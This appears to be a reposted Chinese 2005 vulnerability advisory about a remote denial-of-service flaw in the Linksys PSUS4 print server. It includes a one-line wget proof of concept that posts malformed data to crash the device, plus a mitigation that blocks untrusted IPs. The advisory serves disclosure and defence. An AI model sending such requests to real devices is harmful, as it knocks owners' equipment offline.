Linksys PSUS4畸形POST请求远程拒绝服务漏洞 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 新闻中心 >> 漏洞公告 >> 文章正文	用户登录新用户注册

Linksys PSUS4畸形POST请求远程拒绝服务漏洞

热 ★★★

【字体：小大】

Linksys PSUS4畸形POST请求远程拒绝服务漏洞

作者：未知文章来源：http://www.nsfocus.net/ 点击数：更新时间：2005-2-14

受影响系统：
Linksys PSUS4 PrintServer 6032
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 12443

Linksys PSUS4是一款嵌入式linksys无线打印服务器。

Linksys PSUS4在处理无线HTTP请求时存在问题，远程攻击者可以利用这个漏洞进行拒绝服务攻击。

提交畸形的HTTP POST请求可导致PSUS4服务停止响应，需要重启设备以恢复工作。

<*来源：oudot （oudot@rstack.org）

  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110747234701646&w=2
*>

测试方法：
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

oudot （oudot@rstack.org）提供了如下测试方法：

提交类似如下的HTTP请求：

$ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
--23:10:05--  http://192.168.1.2/
           => `index.html'
Connecting to 192.168.1.2:80... connected.
HTTP request sent, awaiting response...

可导致PSUS4服务停止响应。

建议：
--------------------------------------------------------------------------------
临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 禁止不可信IP访问该设备

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章： ngIRCd远程格式串漏洞

下一篇文章： Cisco IP/VC存在默认SNMP公共串漏洞

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				如何分级防御针对Linux服务器活地运用SQL Injection做数据 Skype用户须警惕新Windows蠕 McAfee发布Windows Mobile风 Windows Vista对付ARP病毒有非主流入侵之会话劫持winnt/ 微软今日发布Windows Live测 SIDVault Simple_Bind 函数多 Thomson SpeedTouch 2030 SI HP-UX get_system_info的工具

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM